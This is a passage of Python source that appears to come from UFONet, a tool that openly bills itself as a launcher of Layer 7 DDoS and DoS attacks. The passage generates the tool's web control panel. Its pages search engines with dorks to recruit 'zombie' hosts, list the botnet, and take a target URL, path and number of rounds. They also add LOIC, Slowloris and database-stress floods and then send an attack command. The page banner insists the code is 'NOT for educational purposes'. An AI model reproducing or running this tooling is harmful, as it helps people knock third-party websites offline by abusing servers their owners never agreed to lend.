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")
  1207. self.pages["/"] = self.pages["/header"] + """<script language="javascript">
  1208. function Start() {
  1209. var win_start = window.open("gui","_parent","fullscreen=yes, titlebar=yes, top=180, left=320, width=640, height=460, resizable=yes", false);
  1210. }
  1211. </script>
  1212. <script type="text/javascript">
  1213. var text="REMEMBER -> This code is NOT for educational purposes!!";
  1214. var delay=1;
  1215. var currentChar=1;
  1216. var destination="tt";
  1217. function type()
  1218. {
  1219. if (document.getElementById)
  1220. {
  1221. var dest=document.getElementById(destination);
  1222. if (dest)
  1223. {
  1224. dest.innerHTML=text.substr(0, currentChar);
  1225. currentChar++
  1226. if (currentChar>text.length)
  1227. {
  1228. currentChar=1;
  1229. setTimeout("type()", 5000);
  1230. }
  1231. else
  1232. {
  1233. setTimeout("type()", delay);
  1234. }
  1235. }
  1236. }
  1237. }
  1238. function startTyping(textParam, delayParam, destinationParam)
  1239. {
  1240. text=textParam;
  1241. delay=delayParam;
  1242. currentChar=1;
  1243. destination=destinationParam;
  1244. type();
  1245. }
  1246. </script>
  1247. <link rel="stylesheet" href="/js/ufo-cloud.css" />
  1248. </head>
  1249. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1250. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1251. <center><br />
  1252. <table><tr><td><img src="/ufonet-logo.png"></td><td>
  1253. <div class="ufo-cloud">
  1254. <ul>
  1255. <li><a href="javascript:alert('Let them hate so long as they fear...');"><span></span>'oderint dum metuant'</a></li>
  1256. <li><a href="javascript:alert('The truth being enveloped by obscure things...');"><span></span>'obscuris vera involvens'</a></li>
  1257. <li><a href="javascript:alert('Everything changes, nothing perishes...');"><span></span>'omnia mutantur, nihil interit'</a></li>
  1258. <li><a href="javascript:alert('Out of order, comes chaos...');"><span></span>'chao ab ordo'</a></li>
  1259. <li><a href="javascript:alert('One world...');"><span></span>'orbis unum'</a></li>
  1260. <li><a href="javascript:alert('If you want peace, prepare the war...');"><span></span>'si vis pacem, para bellum'</a></li>
  1261. <li><a href="javascript:alert('Ignorance is the cause of fear...');"><span></span>'causa de timendi est nescire'</a></li>
  1262. <li><a href="javascript:alert('Man is a wolf to man...');"><span></span>'homo homini lupus'</a></li>
  1263. <li><a href="javascript:alert('There is still time...');"><span></span>'adhuc tempus'</a></li>
  1264. <li><a href="javascript:alert('No regime is sustained for a long time exercising violence...');"><span></span>'iniqua nunquam regna perpetuo manent'</a></li>
  1265. </ul>
  1266. </div>
  1267. </td></tr></table><br>
  1268. <hr>
  1269. <br /><b><a href="https://ufonet.03c8.net" target="_blank">UFONet</a></b> - is a tool designed to launch <a href="https://en.wikipedia.org/wiki/Application_layer" target="_blank">Layer 7</a> (HTTP/Web Abuse) <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> & <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks.<br /><br />
  1270. <div id="tt">REMEMBER -> This code is NOT for educational purposes!!</div><br />
  1271. <script type="text/javascript">
  1272. startTyping(text, 80, "tt");
  1273. </script><hr><br />
  1274. <button title="Start to fly with your UFONet mothership..." onclick="Start()" style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">START MOTHERSHIP!</button>""" + self.pages["/footer"]
  1275. self.pages["/gui"] = self.pages["/header"] + """<script>loadXMLDoc()</script><script>function News() {
  1276. var win_requests = window.open("news","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1277. }
  1278. </script>
  1279. <script>function Missions() {
  1280. var win_requests = window.open("missions","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1281. }
  1282. </script>
  1283. <script>function Stats() {
  1284. var win_requests = window.open("stats","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1285. }
  1286. </script>
  1287. <script>function Board() {
  1288. var win_requests = window.open("board","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1289. }
  1290. </script>
  1291. </head>
  1292. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1293. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1294. <center>
  1295. <table cellpadding="38" cellspacing="38">
  1296. <tr>
  1297. <td>
  1298. <div class="ringMenu">
  1299. <ul>
  1300. <li class="main"><a target="_blank" href="wormhole">Wormhole</a></li>
  1301. <li class="top"><a href="botnet">Botnet</a></li>
  1302. <li class="right"><a href="inspect">Inspect</a></li>
  1303. <li class="bottom"><a href="attack">Attack</a></li>
  1304. <li class="left"><a href="help">Help</a></li>
  1305. </ul>
  1306. </div>
  1307. </td>
  1308. <td>
  1309. <table border="1" bgcolor="black" cellpadding="24" cellspacing="25">
  1310. <tr>
  1311. <td>
  1312. <pre>Welcome to <a href="https://twitter.com/search?f=tweets&vertical=default&q=#ufonet&src=sprv" target="_blank">#UFONet</a> [C&C/DarkNet] ;-)
  1313. ----------------------------------
  1314. """ + self.options.version + """
  1315. - Rel: """ + self.release_date + """ - Dep: """ + time.ctime(os.path.getctime('ufonet')) + """
  1316. * <a href='javascript:runCommandX("cmd_check_tool")'>Auto-update</a> | * <a href="https://github.com/epsylon/ufonet" target="_blank">Review source</a>
  1317. -----------------------------------
  1318. Mothership ID: """ + self.mothership_id.upper() + """
  1319. -----------------------------------
  1320. Your ranking is: <b>""" + str(self.ranking) + """</b></td>
  1321. <td>
  1322. <table>
  1323. <tr>
  1324. <td><img src="/images/aliens/alien1.png" onclick="News()"></td>
  1325. <td><img src="/images/aliens/alien2.png" onclick="Missions()"></td>
  1326. </tr>
  1327. <tr>
  1328. <td><img src="/images/aliens/alien5.png" onclick="Stats()"></td>
  1329. <td><img src="/images/aliens/alien4.png" onclick="Board()"></td>
  1330. </tr>
  1331. </table>
  1332. </td>
  1333. </tr>
  1334. </table>
  1335. </td>
  1336. </tr>
  1337. </table>
  1338. <div id="cmdOut"></div>
  1339. """ + self.pages["/footer"]
  1340. self.pages["/botnet"] = self.pages["/header"] + """<script language="javascript">
  1341. function Requests() {
  1342. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1343. }
  1344. function Maps() {
  1345. var win_map = window.open("cmd_view_army","_blank","fullscreen=yes, resizable=yes", false);
  1346. win_map.resizeTo(screen.width,screen.height);
  1347. }
  1348. function Start(){
  1349. dork=document.getElementById("dork").value
  1350. s_engine = document.getElementById('engines_list').options[document.getElementById('engines_list').selectedIndex].text;
  1351. if (document.getElementById("autosearch").checked){
  1352. document.getElementById("autosearch").value = "on";
  1353. } else {
  1354. document.getElementById("autosearch").value = "off";
  1355. }
  1356. autosearch = document.getElementById("autosearch").value
  1357. if (document.getElementById("dork_list").checked){
  1358. document.getElementById("dork_list").value = "on";
  1359. } else {
  1360. document.getElementById("dork_list").value = "off";
  1361. }
  1362. dork_list = document.getElementById("dork_list").value
  1363. if(dork == "" && dork_list == "off" && autosearch == "off") {
  1364. window.alert("You need to enter a source for dorking...");
  1365. return
  1366. }else{
  1367. if (document.getElementById("all_engines").checked){
  1368. document.getElementById("all_engines").value = "on";
  1369. } else {
  1370. document.getElementById("all_engines").value = "off";
  1371. }
  1372. all_engines = document.getElementById("all_engines").value
  1373. params="autosearch="+escape(autosearch)+"&dork="+escape(dork)+"&dork_list="+escape(dork_list)+"&s_engine="+escape(s_engine)+"&all_engines="+escape(all_engines)
  1374. runCommandX("cmd_search",params)
  1375. }
  1376. }
  1377. function showHide()
  1378. {
  1379. if(document.getElementById("dork_list").checked)
  1380. {
  1381. document.getElementById("dork_pattern").style.display = "none";
  1382. document.getElementById("autosearch_pattern").style.display = "none";
  1383. }
  1384. else {
  1385. document.getElementById("dork_pattern").style.display = "";
  1386. document.getElementById("autosearch_pattern").style.display = "";
  1387. }
  1388. }
  1389. function showHideEngines()
  1390. {
  1391. if(document.getElementById("all_engines").checked)
  1392. {
  1393. document.getElementById("s_engine").style.display = "none";
  1394. }
  1395. else {
  1396. document.getElementById("s_engine").style.display = "";
  1397. }
  1398. }
  1399. function HideAll()
  1400. {
  1401. if(document.getElementById("autosearch").checked)
  1402. {
  1403. document.getElementById("s_engine").style.display = "none";
  1404. document.getElementById("dork_pattern").style.display = "none";
  1405. document.getElementById("list_pattern").style.display = "none";
  1406. document.getElementById("allengines_pattern").style.display = "none";
  1407. document.getElementById("all_engines").checked = false;
  1408. document.getElementById("dork_list").checked = false;
  1409. document.getElementById("dork").value = "";
  1410. }
  1411. else {
  1412. document.getElementById("s_engine").style.display = "";
  1413. document.getElementById("dork_pattern").style.display = "";
  1414. document.getElementById("list_pattern").style.display = "";
  1415. document.getElementById("allengines_pattern").style.display = "";
  1416. }
  1417. }
  1418. </script>
  1419. <script>function Blackholes() {
  1420. var win_requests = window.open("blackholes","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1421. }
  1422. </script>
  1423. <script>loadXMLDoc()</script>
  1424. </head>
  1425. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1426. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1427. <center>
  1428. <table cellpadding="38" cellspacing="38">
  1429. <tr>
  1430. <td>
  1431. <div class="ringMenu">
  1432. <ul>
  1433. <li class="main"><a href="botnet">Botnet</a></li>
  1434. <li class="top"><a href="help">Help</a></li>
  1435. <li class="right"><a href="inspect">Inspect</a></li>
  1436. <li class="bottom"><a href="attack">Attack</a></li>
  1437. <li class="left"><a href="gui">RETURN</a></li>
  1438. </ul>
  1439. </div>
  1440. </td>
  1441. <td>
  1442. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  1443. <tr><td>
  1444. <pre>
  1445. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | * View Botnet: <button title="Build a map and geo-deploy your botnet on it..." onclick="Maps()">Generate map!</button>
  1446. <form method='GET'><br/><hr><div id="autosearch_pattern" style="display:block;">
  1447. * Search automatically (may take time!) <input type="checkbox" id="autosearch" onchange="HideAll()"></div><div id="dork_pattern" style="display:block;">
  1448. * Search using a dork: <input type="text" name="dork" id="dork" size="20" placeholder="proxy.php?url="></div><div id="list_pattern" style="display:block;">
  1449. * Search using a list (from: botnet/dorks.txt): <input type="checkbox" id="dork_list" onchange="showHide()"></div><div id="s_engine" name="s_engine" style="display:block;">
  1450. * Search using this search engine: <select id="engines_list">
  1451. <!-- <option value="duck" selected>duck</option> [09/08/2016: deprecated! -> duck has removed 'inurl' operator]-->
  1452. <option value="bing">bing</option>
  1453. <option value="yahoo">yahoo</option>
  1454. <!-- <option value="google">google (no TOR!)</option>-->
  1455. <!-- <option value="yandex">yandex</option>-->
  1456. </select></div><div id="allengines_pattern" style="display:block;">
  1457. * Search using all search engines: <input type="checkbox" name="all_engines" id="all_engines" onchange="showHideEngines()"></div></form>
  1458. <button title="Start to search for zombies..." style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Start()>SEARCH!</button>
  1459. <br><hr>
  1460. * Test Botnet: <br><br><center><a href='javascript:runCommandX("cmd_test_offline")'>Offline</a> | <a href='javascript:runCommandX("cmd_test_all")'>ALL</a> | <a href='javascript:runCommandX("cmd_test_army")'>Zombies</a> | <a href='javascript:runCommandX("cmd_test_rpcs")'>XML-RPCs</a> | <a href='javascript:runCommandX("cmd_attack_me")'>Attack Me!</a></center></td>
  1461. <td>
  1462. <table cellpadding="5" cellspacing="2">
  1463. <tr>
  1464. <td><img src="/images/aliens/alien3.png" onclick="Blackholes()"></td>
  1465. </tr>
  1466. <tr>
  1467. <table><tr>
  1468. <td>Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></td>
  1469. </tr>
  1470. <tr><td><hr></td></tr>
  1471. <tr><td><table align="right"><tr><td>Zombies:</td><td><a href='javascript:runCommandX("cmd_list_zombies")'>"""+self.num_zombies+"""</a></td></tr></table></td></tr>
  1472. <tr><td><table align="right"><tr><td>Aliens:</td><td><a href='javascript:runCommandX("cmd_list_aliens")'>"""+self.num_aliens+"""</a></td></tr></table></td></tr>
  1473. <tr><td><table align="right"><tr><td>Droids:</td><td><a href='javascript:runCommandX("cmd_list_droids")'>"""+self.num_droids+"""</a></td></tr></table></td></tr>
  1474. <tr><td><table align="right"><tr><td>UCAVs:</td><td><a href='javascript:runCommandX("cmd_list_ucavs")'>"""+self.num_ucavs+"""</a></td></tr></table></td></tr>
  1475. <tr><td><table align="right"><tr><td>XML-RPCs:</td><td><a href='javascript:runCommandX("cmd_list_rpcs")'>"""+self.num_rpcs+"""</a></td></tr></table></td></tr>
  1476. </table>
  1477. </table>
  1478. </td>
  1479. </tr></table>
  1480. </td>
  1481. </tr></table>
  1482. <hr>
  1483. <div id="cmdOut"></div>
  1484. """ + self.pages["/footer"]
  1485. self.pages["/attack"] = self.pages["/header"] + """<script language="javascript">
  1486. function Requests() {
  1487. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1488. }
  1489. function Grid() {
  1490. var win_requests = window.open("grid","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1491. }
  1492. function Wargames() {
  1493. var win_requests = window.open("wargames","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1494. }
  1495. function ShowPanel() {
  1496. if (document.getElementById("extra_attack").checked){
  1497. document.getElementById("extra_panel").style.display = "block";
  1498. document.getElementById("loic").value = "";
  1499. document.getElementById("loris").value = "";
  1500. document.getElementById("dbstress").value = "";
  1501. } else {
  1502. document.getElementById("extra_panel").style.display = "none";
  1503. document.getElementById("loic").value = "";
  1504. document.getElementById("loris").value = "";
  1505. document.getElementById("dbstress").value = "";
  1506. }
  1507. }
  1508. function Maps() {
  1509. var win_map = window.open("/cmd_view_attack?target="+target,"_blank","fullscreen=yes, resizable=yes", false);
  1510. win_map.resizeTo(screen.width,screen.height);
  1511. }
  1512. function Start(){
  1513. target=document.getElementById("target").value
  1514. String.prototype.startsWith = function(prefix){
  1515. return this.indexOf(prefix) === 0;
  1516. }
  1517. if(target.startsWith("http")){
  1518. path=document.getElementById("path").value
  1519. rounds=document.getElementById("rounds").value
  1520. dbstress=document.getElementById("dbstress").value
  1521. loic=document.getElementById("loic").value
  1522. loris=document.getElementById("loris").value
  1523. params="path="+escape(path)+"&rounds="+escape(rounds)+"&target="+escape(target)+"&dbstress="+escape(dbstress)+"&loic="+escape(loic)+"&loris="+escape(loris)
  1524. if (document.getElementById("visual_attack").checked){
  1525. document.getElementById("visual_attack").value = "on";
  1526. } else {
  1527. document.getElementById("visual_attack").value = "off";
  1528. }
  1529. if(document.getElementById("visual_attack").value=="on"){
  1530. Maps()
  1531. }
  1532. }else{
  1533. window.alert("You need to enter a valid url: http(s)://target.com");
  1534. return
  1535. }
  1536. runCommandX("cmd_attack",params)
  1537. }
  1538. </script>
  1539. </head>
  1540. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1541. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1542. <center>
  1543. <table cellpadding="38" cellspacing="38">
  1544. <tr>
  1545. <td>
  1546. <div class="ringMenu">
  1547. <ul>
  1548. <li class="main"><a href="attack">Attack</a></li>
  1549. <li class="top"><a href="help">Help</a></li>
  1550. <li class="right"><a href="botnet">Botnet</a></li>
  1551. <li class="bottom"><a href="inspect">Inspect</a></li>
  1552. <li class="left"><a href="gui">RETURN</a></li>
  1553. </ul>
  1554. </div>
  1555. </td>
  1556. <td>
  1557. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  1558. <tr><td>
  1559. <pre>
  1560. * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  1561. * Set place to attack: <input type="text" name="path" id="path" size="30" placeholder="/path/big.jpg">
  1562. * Number of rounds: <input type="text" name="rounds" id="rounds" size="5" value="1">
  1563. <hr>
  1564. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | <input type="checkbox" name="visual_attack" id="visual_attack"> Generate map! | <input type="checkbox" name="extra_attack" id="extra_attack" onclick='javascript:ShowPanel();'> Extra(s)
  1565. <hr><div id="extra_panel" style="display:none;">
  1566. * Number of <a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a> requests: <input type="text" name="loic" id="loic" size="4" placeholder="100">
  1567. * Number of <a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a> requests: <input type="text" name="loris" id="loris" size="4" placeholder="100">
  1568. <hr>
  1569. * Set db stress parameter: <input type="text" name="dbstress" id="dbstress" size="22" placeholder="search.php?q=">
  1570. <hr></div>
  1571. <button title="Start to attack your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">ATTACK!</button> | Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></pre>
  1572. </td><td>
  1573. <table><tr><td><img src="/images/aliens/alien6.png" onclick="Grid()"></td></tr><tr><td><img src="/images/aliens/alien8.png" onclick="Wargames()"></td></tr></table>
  1574. </td></tr></table>
  1575. </td></tr></table>
  1576. <hr>
  1577. <div id="cmdOut"></div>
  1578. """ + self.pages["/footer"]
  1579. self.pages["/help"] = self.pages["/header"] + """<script language="javascript">
  1580. function show(one) {
  1581. var nb = document.getElementsByTagName("div");
  1582. for(var x=0; x<nb.length; x++) {
  1583. name = nb[x].getAttribute("class");
  1584. if (name == 'nb') {
  1585. if (nb[x].id == one) {
  1586. nb[x].style.display = 'block';
  1587. }
  1588. else {
  1589. nb[x].style.display = 'none';
  1590. }
  1591. }
  1592. }
  1593. }
  1594. </script>
